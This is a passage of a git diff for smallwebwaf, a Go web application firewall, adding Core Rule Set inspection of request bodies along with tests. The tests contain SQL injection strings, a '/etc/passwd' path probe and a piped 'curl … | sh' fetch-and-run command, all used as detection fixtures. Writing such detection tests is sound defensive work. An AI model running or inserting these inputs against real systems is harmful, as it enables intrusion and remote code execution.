goes to the app take over. + _ = rq.rc.SetReadDeadline(time.Time{}) + + rq.body.readByCoreRuleSet = read + + if errors.Is(err, os.ErrDeadlineExceeded) { + rq.refuse(refusal{ + status: http.StatusRequestTimeout, + action: requestlog.ActionTimedOut, + limit: "SWWAF_CLIENT_REQUEST_TIMEOUT", + }) + } + + return result +} + // alertWAFBlock raises the waf_block alert for the request, which the Core // Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its // detail gives the rule ids, the score, the method and the path with the diff --git a/internal/proxy/coreruleset_test.go b/internal/proxy/coreruleset_test.go index 9afdd52..d371171 100644 --- a/internal/proxy/coreruleset_test.go +++ b/internal/proxy/coreruleset_test.go @@ -1,11 +1,14 @@ package proxy_test import ( + "io" "net/http" "net/netip" "slices" + "strconv" "strings" "testing" + "time" "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/ratelimit" @@ -18,10 +21,14 @@ const ( wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" + wafBodyLimit = "SWWAF_WAF_BODY_LIMIT" block = "block" detect = "detect" ) +// formData is the type of a form's body. +const formData = "application/x-www-form-urlencoded" + // sqlInjection asks for / with an SQL injection in its query, which only // the Core Rule Set's rule 942100 matches, with a score of 5, the default // SWWAF_WAF_ANOMALY_THRESHOLD. @@ -224,6 +231,197 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { } } +func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { + t.Parallel() + + const body = "id=1'%20OR%20'1'='1" + + header := "Content-Type: " + formData + "\r\nContent-Length: " + + strconv.Itoa(len(body)) + + s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) + line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body, + http.StatusOK, requestlog.ActionForward) + wantWAF(t, line, new(0)) + + s, _, _ = startWithClock(t, "", map[string]string{ + wafMode: block, wafBodyLimit: sizeLimitSetting, + }) + line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body, + http.StatusForbidden, requestlog.ActionWAFBlocked) + wantWAF(t, line, new(5), 942100) +} + +func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) { + t.Parallel() + + // The app answers with the body it was sent, once it has the whole of + // it: Go's server reads no more of a body once the answer has begun. + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + body, _ := io.ReadAll(r.Body) + _, _ = w.Write(body) + }) + addr, out := startProxy(t, app.URL, map[string]string{ + wafMode: block, wafBodyLimit: sizeLimitSetting, + }) + longer := "a=" + strings.Repeat("b", 64*sizeLimit) + + for i, tc := range []struct { + name, contentType, body string + // announced sends the body's length in Content-Length; otherwise + // the body is sent in chunks with no length given. + announced bool + }{ + {"form data within the limit", formData, "a=b", true}, + {"form data longer than the limit", formData, longer, true}, + {"form data longer than the limit, not announced", formData, longer, false}, + { + "JSON larger than the limit", "application/json", + `{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true, + }, + { + "a binary body", "application/octet-stream", + strings.Repeat("\x00\xff", sizeLimit), true, + }, + } { + // A reader whose length the client cannot tell is sent in chunks. + var body io.Reader = strings.NewReader(tc.body) + if !tc.announced { + body = io.MultiReader(body) + } + + req := newRequest(t, http.MethodPost, addr, "/", body) + req.Header.Set("Content-Type", tc.contentType) + + got := do(t, req) + if got.status != http.StatusOK || string(got.body) != tc.body { + t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200", + tc.name, len(got.body), got.status, len(tc.body)) + } + + line := out.requestLines(t, i+1)[i] + wantLine(t, line, http.StatusOK, requestlog.ActionForward) + + if line.RequestBytes != int64(len(tc.body)) { + t.Errorf("%s: log line has request_bytes %d, want %d", tc.name, + line.RequestBytes, len(tc.body)) + } + } +} + +func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) { + t.Parallel() + + const ( + first = "a=" // and twice the limit of b's, then the rest + rest = 64 * sizeLimit + ) + + // past is closed once the app has received twice what the Core Rule + // Set reads, and got is the length of the whole body it received. + past := make(chan struct{}) + got := make(chan int64, 1) + app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { + n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit) + + close(past) + + m, _ := io.Copy(io.Discard, r.Body) + got <- n + m + }) + addr, out := startProxy(t, app.URL, map[string]string{ + wafMode: block, wafBodyLimit: sizeLimitSetting, + }) + + // The client sends the rest only once the app has received the first + // part: were smallwebwaf to hold the body until the end, it would + // never come. + body, sender := io.Pipe() + + go func() { + _, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit)) + + select { + case <-past: + case <-time.After(waitLimit): + t.Error("the app got no more than the Core Rule Set reads " + + "before the whole body was sent") + + _ = sender.CloseWithError(io.ErrUnexpectedEOF) + + return + } + + _, _ = io.WriteString(sender, strings.Repeat("b", rest)) + _ = sender.Close() + }() + + req := newRequest(t, http.MethodPost, addr, "/", body) + req.Header.Set("Content-Type", formData) + wantStatus(t, do(t, req), http.StatusOK) + + want := int64(len(first) + 2*sizeLimit + rest) + if n := <-got; n != want { + t.Errorf("the app got %d bytes, want %d", n, want) + } + + wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward) +} + +func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, out := startProxy(t, app.URL, map[string]string{ + wafMode: block, wafBodyLimit: sizeLimitSetting, + clientRequestTimeout: shortTimeoutSetting, metricsToken: token, + }) + + conn := dial(t, addr) + send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+ + "\r\nContent-Length: 100\r\n\r\ncontent=the first bytes") + + wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout) + + line := out.requestLine(t) + wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut) + wantNotSentToTheApp(t, line) + wantLimitHits(t, addr, clientRequestTimeout, 1) +} + +func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, out := startProxy(t, app.URL, map[string]string{ + wafMode: block, wafBodyLimit: "4K", + requestMaxBytes: sizeLimitSetting, metricsToken: token, + }) + + // Sent in chunks, its length is not announced, and is found to be over + // the limit as the Core Rule Set reads it. + body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit))) + req := newRequest(t, http.MethodPost, addr, "/", body) + req.Header.Set("Content-Type", formData) + wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge) + + line := out.requestLine(t) + wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge) + wantNotSentToTheApp(t, line) + wantLimitHits(t, addr, requestMaxBytes, 1) +} + +// wantNotSentToTheApp checks that the request of line was not sent to the +// app at all. +func wantNotSentToTheApp(t *testing.T, line logLine) { + t.Helper() + + _, sent := line.fields["duration_upstream_total"] + if sent { + t.Error("log line has duration_upstream_total, for a request sent to the app") + } +} + func TestResponsesAreNotInspected(t *testing.T) { t.Parallel() diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index d0e64ac..b575464 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -232,8 +232,8 @@ func newReputation( } // newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL, -// without the rules SWWAF_WAF_DISABLED_RULES switches off, or nil while -// SWWAF_WAF_MODE is off. +// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies +// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off. func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet { if cfg.WAFMode == config.WAFModeOff { return nil @@ -241,11 +241,12 @@ func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet { coreRuleSet, err := waf.New(waf.Params{ ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, + BodyLimit: cfg.WAFBodyLimit, }) if err != nil { // The Core Rule Set is built in, and the settings cannot break it: - // the paranoia level is from 1 to 4, and the id of no rule switches - // nothing off. + // the paranoia level is from 1 to 4, the body limit at most 1G, and + // the id of no rule switches nothing off. panic(err) } diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 646a9a1..1b60d07 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -188,16 +188,23 @@ func requestHeaders(r *http.Request, names []string) map[string]string { } // check is the one place where a request can be refused once its client -// is known, before its body is read or anything reaches the app. It -// returns nil to let the request through. The checks of checkClient come -// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule or the -// Core Rule Set, and then the size limit, so that a request the rate -// limits count is counted even when it is refused for its size. In -// observe mode a request checkClient refuses goes on to the size limit -// like any other. ctx is the request's own context. +// is known, before anything reaches the app, and before its body is read, +// but for the part the Core Rule Set reads. It returns nil to let the +// request through. The checks of checkClient come first, answered with +// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and +// then the size limit, so that a request the rate limits count is counted +// even when it is refused for its size. In observe mode a request +// checkClient refuses goes on to the size limit like any other. A size or +// time limit the Core Rule Set's reading of the body meets ends the +// request in either mode. ctx is the request's own context. func (rq *request) check(ctx context.Context) *refusal { action := rq.checkClient(ctx) + refused := rq.refused.Load() + if refused != nil { + return refused + } + switch { case action == "": case rq.h.config.Observe: diff --git a/internal/waf/waf.go b/internal/waf/waf.go index c28c7b3..054897d 100644 --- a/internal/waf/waf.go +++ b/internal/waf/waf.go @@ -1,12 +1,18 @@ // Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the -// method, the URL with its query and the headers of a request, with the -// six changes smallwebwaf makes to it, as "Attack detection" under -// "Configuration surface" in SPEC.md describes them. It reads no request -// body and no response. +// method, the URL with its query and the headers of a request, and on its +// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf +// makes to it, as "Attack detection" under "Configuration surface" in +// SPEC.md describes them. It reads no response. +// +// smallwebwaf writes only to its state directory, so Coraza is built with +// its no_fs_access tag, as the Dockerfile and script/build build it: of a +// file in a multipart body, Coraza then counts the bytes instead of +// writing them to the system's temporary directory. package waf import ( "fmt" + "io" "net/http" "net/netip" "slices" @@ -20,15 +26,16 @@ import ( ) // directives are the Core Rule Set as smallwebwaf runs it, with the -// paranoia level for %d. Each rule smallwebwaf adds has an id from 900000 -// to 900999, the ids the Core Rule Set keeps for the rules that set it -// up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting switches -// one off. Coraza joins a line ending in \ to the next, without the spaces -// at the start of the next. +// paranoia level for %d, and bodyDirectives for %s while +// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from +// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set +// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting +// switches one off. Coraza joins a line ending in \ to the next, without +// the spaces at the start of the next. const directives = ` # The engine only detects. smallwebwaf compares the request's anomaly # score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode -# alike. It reads no body. +# alike. It reads no body, unless bodyDirectives switch that on. SecRuleEngine DetectionOnly SecRequestBodyAccess Off SecResponseBodyAccess Off @@ -44,12 +51,23 @@ SecAction "id:900200,phase:1,pass,nolog,\ setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'" # The second: Expect and Content-Encoding are taken off the Core Rule Set's -# list of the headers it refuses. Content-Encoding stays refused on a body -# the Core Rule Set reads, and it reads none. +# list of the headers it refuses. Content-Encoding goes back on it for a +# body the Core Rule Set reads (900260 in bodyDirectives). SecAction "id:900250,phase:1,pass,nolog,\ setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \ /if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \ /x-middleware-subrequest/'" +%s +# Coraza keeps the first 1000 query parameters of a request, and the first +# 1000 fields of a form data or JSON body, and drops the rest, which no +# rule then reads, so a request with more adds 5 to the score, as a rule +# the Core Rule Set rates critical does. Coraza's recommended +# configuration refuses such a request in its rules 200004 and 200005. +# This rule runs once the body is read, and before the Core Rule Set adds +# up the score in the same phase. +SecArgumentsLimit 1000 +SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\ + severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" # The sixth: only the rules for requests are loaded, and no response is # inspected. @@ -57,7 +75,9 @@ Include @owasp_crs/REQUEST-*.conf # The third: redirect_uri is not checked for a URL naming an IP address or # localhost. Coraza matches a parameter name here, and in the fourth, -# without regard to case. +# without regard to case. ARGS holds the fields of a form data or multipart +# body Coraza reads as well as the query parameters, so a field of one of +# these names is left out too. SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" @@ -80,15 +100,47 @@ SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\ # Inspect. SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" +` -# Coraza keeps the first 1000 query parameters of a request and drops the -# rest, which no rule then reads, so a request with more adds 5 to the -# score, as a rule the Core Rule Set rates critical does. Coraza's -# recommended configuration refuses such a request in its rule 200004. -# This rule comes after the Core Rule Set's, which set the score to 0 in -# the same phase. -SecArgumentsLimit 1000 -SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:1,pass,\ +// bodyDirectives have the Core Rule Set read the part of a request body +// Inspect gives it, which is at most one byte longer than the limit, up to +// the limit, %d bytes, and read JSON and XML as Coraza's recommended +// configuration has it in its rules 200000, 200001 and 200006, with +// text/json, and any application or text type ending in +xml or +json, +// besides; form data and multipart Coraza knows by itself. %% stands for +// a % Coraza reads. +const bodyDirectives = ` +SecRequestBodyAccess On +SecRequestBodyLimit %d +SecRequestBodyLimitAction ProcessPartial + +SecRule REQUEST_HEADERS:Content-Type \ + "@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \ + "id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML" +SecRule REQUEST_HEADERS:Content-Type \ + "@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \ + "id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON" + +# The rest of the second change: Content-Encoding is refused again on a +# body of a kind the Core Rule Set reads, since a compressed body cannot be +# inspected. +SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \ + "id:900260,phase:1,pass,nolog,\ + setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \ + /content-encoding/'" + +# A body Coraza fails to parse (900440), and a multipart body that fails +# its strict checks (900450), each add 5 to the score, as a rule the Core +# Rule Set rates critical does: no rule reads what comes after the fault, +# which the app may still read. Coraza's recommended configuration refuses +# them in its rules 200002 and 200003. A multipart body the limit cuts +# before the colon of a part's header line, or between the carriage return +# and the line feed that end a part's header line or the empty line after +# its headers, adds 5 too, since Coraza takes the line the limit cuts for a +# malformed header. Coraza parses any form data body. +SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\ + setvar:'tx.inbound_anomaly_score_pl1=+5'" +SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\ severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" ` @@ -105,18 +157,28 @@ type Params struct { // DisabledRules are the ids of the rules switched off // (SWWAF_WAF_DISABLED_RULES). DisabledRules []int + // BodyLimit is the most of a request body the Core Rule Set reads + // (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none. + BodyLimit int64 } // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe // for concurrent use. type CoreRuleSet struct { - waf coraza.WAF + waf coraza.WAF + bodyLimit int64 } // New returns the Core Rule Set with the six changes, at params' -// paranoia level and without the rules it switches off. +// paranoia level, without the rules it switches off, and reading request +// bodies up to params' limit. func New(params Params) (*CoreRuleSet, error) { - text := fmt.Sprintf(directives, params.ParanoiaLevel) + body := "" + if params.BodyLimit > 0 { + body = fmt.Sprintf(bodyDirectives, params.BodyLimit) + } + + text := fmt.Sprintf(directives, params.ParanoiaLevel, body) if len(params.DisabledRules) > 0 { ids := make([]string, len(params.DisabledRules)) @@ -134,7 +196,7 @@ func New(params Params) (*CoreRuleSet, error) { return nil, fmt.Errorf("load the Core Rule Set: %w", err) } - return &CoreRuleSet{waf: waf}, nil + return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil } // Result is what the Core Rule Set found in a request. @@ -148,10 +210,15 @@ type Result struct { // Inspect runs the Core Rule Set on r, a request from client: on its // method, its URL with the query, and its headers, the Cookie header -// without the cookies in cookiesNotRead. -func (c *CoreRuleSet) Inspect(r *http.Request, client netip.Addr) Result { +// without the cookies in cookiesNotRead, and on body, r's body as the +// caller has it, as readBody reads it. It returns what it found, what it +// read of body, which the app is still to be sent, and the error that +// ended the reading early, if one did. +func (c *CoreRuleSet) Inspect( + r *http.Request, client netip.Addr, body io.Reader, +) (Result, []byte, error) { tx := c.waf.NewTransaction() - // With no body read, there is nothing whose closing can fail. + // Closing would remove the files Coraza wrote, and it writes none. defer func() { _ = tx.Close() }() tx.ProcessConnection(client.String(), 0, "", 0) @@ -178,7 +245,11 @@ func (c *CoreRuleSet) Inspect(r *http.Request, client netip.Addr) Result { } tx.ProcessRequestHeaders() - // With no body read, this runs the rest of the rules, and cannot fail. + + read, err := c.readBody(tx, body) + + // This reads the body in memory and runs the rest of the rules, and + // cannot fail. _, _ = tx.ProcessRequestBody() var ids []int @@ -192,7 +263,44 @@ func (c *CoreRuleSet) Inspect(r *http.Request, client netip.Addr) Result { } } - return Result{RuleIDs: ids, Score: score(tx)} + return Result{RuleIDs: ids, Score: score(tx)}, read, err +} + +// readBody reads body, the body of the request in tx, which has run on +// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is +// of a kind the Core Rule Set reads: form data and multipart, of which it +// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only +// when they are no longer than that, since they cannot be read in part. +// readBody reads one byte past the limit, to tell which they are, gives +// the Core Rule Set what it reads, and returns what it read and the error +// that ended the reading early, if one did. +func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) { + if c.bodyLimit == 0 { + return nil, nil + } + + inPart := false + // How the body is read is a variable of the transaction, which only + // Coraza's interface for plugins reads. + state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is + + switch state.Variables().RequestBodyProcessor().Get() { + case "URLENCODED", "MULTIPART": + inPart = true + case "JSON", "XML": + default: + return nil, nil + } + + read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1)) + + if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) { + // Coraza holds what it reads of the body in memory, up to the + // limit, so this cannot fail. + _, _, _ = tx.WriteRequestBody(read) + } + + return read, err } // score returns the anomaly score the Core Rule Set added up in tx, a diff --git a/internal/waf/waf_test.go b/internal/waf/waf_test.go index 89bff70..77b8cd9 100644 --- a/internal/waf/waf_test.go +++ b/internal/waf/waf_test.go @@ -4,7 +4,10 @@ import ( "net/http" "net/http/httptest" "net/netip" + "net/url" + "path/filepath" "reflect" + "strconv" "strings" "testing" @@ -48,12 +51,28 @@ func get(target string, headers ...string) request { func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result { t.Helper() + result, _ := inspectBody(t, crs, r, "") + + return result +} + +// inspectBody is inspect for r with body, which is announced with its +// Content-Length unless it is "", and returns what crs read of body too. +func inspectBody( + t *testing.T, crs *waf.CoreRuleSet, r request, body string, +) (waf.Result, string) { + t.Helper() + req := httptest.NewRequestWithContext(t.Context(), r.method, - "http://git.example"+r.target, http.NoBody) + "http://git.example"+r.target, strings.NewReader(body)) req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ "Gecko/20100101 Firefox/131.0") req.Header.Set("Accept", "text/html") + if body != "" { + req.Header.Set("Content-Length", strconv.Itoa(len(body))) + } + for _, header := range r.headers { // Go's server keeps Host and Transfer-Encoding out of the headers. name, value, _ := strings.Cut(header, ": ") @@ -67,7 +86,12 @@ func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result { } } - return crs.Inspect(req, netip.MustParseAddr("203.0.113.9")) + result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body) + if err != nil { + t.Fatalf("read the body: %v", err) + } + + return result, string(read) } // wantResult checks what crs finds in r. @@ -174,7 +198,7 @@ func TestTransferEncodingIsRead(t *testing.T) { waf.Result{}) } -func TestMoreQueryParametersThanCorazaKeepsIsAMatch(t *testing.T) { +func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) { t.Parallel() const attack = "id=1'%20OR%20'1'='1" @@ -185,6 +209,23 @@ func TestMoreQueryParametersThanCorazaKeepsIsAMatch(t *testing.T) { // after it is not, but the request is a match all the same. wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100)) wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300)) + + // So it is with the fields of a form data or JSON body. + crs = readingBodies(t) + + for _, tc := range []struct{ header, body string }{ + {formData, strings.Repeat("a=1&", 999) + attack}, + {jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`}, + } { + wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body) + } + + for _, tc := range []struct{ header, body string }{ + {formData, strings.Repeat("a=1&", 1000) + attack}, + {jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`}, + } { + wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body) + } } func TestRedirectURIMayNameALocalAddress(t *testing.T) { @@ -320,3 +361,328 @@ func TestEachDisabledRuleIsSwitchedOff(t *testing.T) { waf.Result{RuleIDs: []int{911100, 920350}, Score: 8}) wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{}) } + +// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies. +const bodyLimit = 8 << 10 + +// The Content-Type headers of the kinds of body the Core Rule Set reads. +const ( + formData = "Content-Type: application/x-www-form-urlencoded" + multipart = "Content-Type: multipart/form-data; boundary=b" + jsonBody = "Content-Type: application/json" + xmlBody = "Content-Type: application/xml" +) + +// injection is an SQL injection, which rule 942100 matches. +const injection = "1' OR '1'='1" + +// readingBodies returns the Core Rule Set as smallwebwaf runs it by +// default, but reading bodies up to bodyLimit. +func readingBodies(t *testing.T) *waf.CoreRuleSet { + t.Helper() + + crs, err := waf.New(waf.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + }) + if err != nil { + t.Fatalf("load the Core Rule Set: %v", err) + } + + return crs +} + +// post is a POST request for / with a body of the type contentType, a +// Content-Type header, gives, and headers besides. +func post(contentType string, headers ...string) request { + return request{http.MethodPost, "/", append([]string{contentType}, headers...)} +} + +// field is a part of a multipart body: the field name, holding value. +func field(name, value string) string { + return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" + + value + "\r\n" +} + +// end ends a multipart body. +const end = "--b--\r\n" + +// padded returns head and tail with as many a's between them as make n +// bytes in all. +func padded(head, tail string, n int) string { + return head + strings.Repeat("a", n-len(head)-len(tail)) + tail +} + +// wantBody checks what crs finds in r with body, and that what it read of +// body is read. +func wantBody( + t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result, + read string, +) { + t.Helper() + + got, gotRead := inspectBody(t, crs, r, body) + if !reflect.DeepEqual(got, want) || gotRead != read { + t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+ + "want %+v, reading %d", r.headers, len(body), body, got, len(gotRead), + want, len(read)) + } +} + +func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) { + t.Parallel() + + off, on := atDefaults(t), readingBodies(t) + + for _, tc := range []struct{ header, body string }{ + {formData, "q=" + url.QueryEscape(injection)}, + {multipart, field("q", injection) + end}, + {jsonBody, `{"q":"` + injection + `"}`}, + {xmlBody, "" + injection + ""}, + } { + wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "") + wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body) + } +} + +func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + pad := strings.Repeat("a", bodyLimit) + + for _, tc := range []struct{ header, attackFirst, attackLast string }{ + { + formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad, + "pad=" + pad + "&q=" + url.QueryEscape(injection), + }, + { + multipart, field("q", injection) + field("pad", pad) + end, + field("pad", pad) + field("q", injection) + end, + }, + } { + wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), + tc.attackFirst[:bodyLimit+1]) + wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{}, + tc.attackLast[:bodyLimit+1]) + } + + // To the byte: a system file's path is found when it ends at the limit, + // and not when its last letter is past it, which is still read. + atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit) + wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit) + + pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1) + wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit) +} + +func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, tc := range []struct{ header, head, tail string }{ + {jsonBody, `{"q":"` + injection + `","pad":"`, `"}`}, + {xmlBody, "" + injection + "", ""}, + } { + fits := padded(tc.head, tc.tail, bodyLimit) + wantBody(t, crs, post(tc.header), fits, matched(942100), fits) + + larger := padded(tc.head, tc.tail, bodyLimit+1) + wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger) + } +} + +func TestOtherBodiesAreNotRead(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // Read as form data, which the Core Rule Set does with a body of a type + // it does not know, this would be an SQL injection. + body := "q=" + url.QueryEscape(injection) + + for _, header := range []string{ + "Content-Type: application/octet-stream", + "Content-Type: text/plain", + "Content-Type: application/x-git-receive-pack-request", + } { + wantBody(t, crs, post(header), body, waf.Result{}, "") + } +} + +func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) { + t.Parallel() + + const gzip = "Content-Encoding: gzip" + + crs := readingBodies(t) + + for _, tc := range []struct{ header, body string }{ + {formData, "a=1"}, + {multipart, field("a", "1") + end}, + {jsonBody, `{"a":1}`}, + {xmlBody, "1"}, + } { + wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body) + } + + // Whatever its size: a JSON body larger than the limit is not read, but + // Content-Encoding on it is refused all the same. + larger := strings.Repeat("a", bodyLimit+1) + wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger) + + // It is allowed on a body of any other kind, and on every body while no + // body is read. + fetch := "Content-Type: application/x-git-upload-pack-request" + wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "") + wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "") +} + +func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + local := url.QueryEscape("http://127.0.0.1:52341/") + + for _, tc := range []struct { + body string + want waf.Result + }{ + {"path=.gitignore", waf.Result{}}, + {"q=.gitignore", matched(930120)}, + {"redirect_uri=" + local, waf.Result{}}, + {"next=" + local, matched(931100, 934110)}, + } { + wantBody(t, crs, post(formData), tc.body, tc.want, tc.body) + } + + body := field("path", ".gitignore") + end + wantBody(t, crs, post(multipart), body, waf.Result{}, body) + + body = field("q", ".gitignore") + end + wantBody(t, crs, post(multipart), body, matched(930120), body) + + // A JSON body's field is named by its path, here json.path, and is + // checked. + body = `{"path":".gitignore"}` + wantBody(t, crs, post(jsonBody), body, matched(930120), body) +} + +func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // A comment that shows a shell command. + const text = "Try `curl -s https://example.org | sh` first." + + comment := "content=" + url.QueryEscape(text) + wantBody(t, crs, post(formData), comment, matched(932235), comment) + + // An attachment named like a log file. + attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + + "filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end + wantBody(t, crs, post(multipart), attachment, matched(932180), attachment) +} + +func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, tc := range []struct{ contentType, body string }{ + {"application/atom+xml", "" + injection + ""}, + {"application/vnd.example+xml", "" + injection + ""}, + {"application/vnd.example+json", `{"q":"` + injection + `"}`}, + {"text/json", `{"q":"` + injection + `"}`}, + } { + wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body, + matched(942100), tc.body) + } +} + +func TestBodyCorazaCannotParseIsAMatch(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // An end tag after the root element, past which Coraza reads none of + // the body, while an app may still read the attack before it. + body := "" + injection + "" + wantBody(t, crs, post(xmlBody), body, matched(900440), body) + + // The multipart bodies Coraza cannot parse fail its strict checks too: + // one whose type names its boundary twice, and one with a part header + // that has no colon, before the attack. They do so padded past the + // limit too, which cuts them in the padding. + noColon 